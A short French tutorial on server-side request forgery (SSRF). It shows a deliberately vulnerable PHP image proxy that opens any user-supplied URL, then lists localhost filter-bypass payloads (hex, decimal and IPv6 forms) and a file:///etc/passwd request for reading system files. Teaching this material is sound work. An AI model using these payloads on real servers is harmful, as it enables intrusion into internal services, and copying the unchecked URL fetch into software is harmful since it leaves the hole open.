Vulnérabilité SSRF

SSRF (Server Side request forgery)

Par exemple, vous pouvez vous connecter à un site web qui utilise des bases de données comme elasticsearch ou mysql sur leur réseau local, mais vous ne pouvez y accéder directement. Si vous pouvez exécuter un script sur le serveur qui permet d’inclure un URL, il est possible que vous soyez capable d’y accéder et avoir accès à l’information souhaité.

Nous voyons ici qu’une image est incluse via le paramètre url. Nous pourrions par exemple utiliser http://localhost:9200 pour accéder au serveur elasticsearch sur le serveur web.

<?php

if (isset($_GET['url']))

{
  $url = $_GET['url'];
  $image = fopen($url, 'rb');
  header("Content-Type: image/png");
  fpassthru($image);

}

Il est possible qu’il y ait filtration (localhost ou 127.0.0.1 interdit). Il est possible de contourner cette protection (parfois)


http://0.0.0.0:9200
http://[::]:9200 #ipv6
http://::::9200
http://0x7f000001:9200 #encodage hexadécimal. https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72
http://2130706433:9200 #encodage décimal

Un autre protocole
file:///etc/passwd

Laisser un commentaire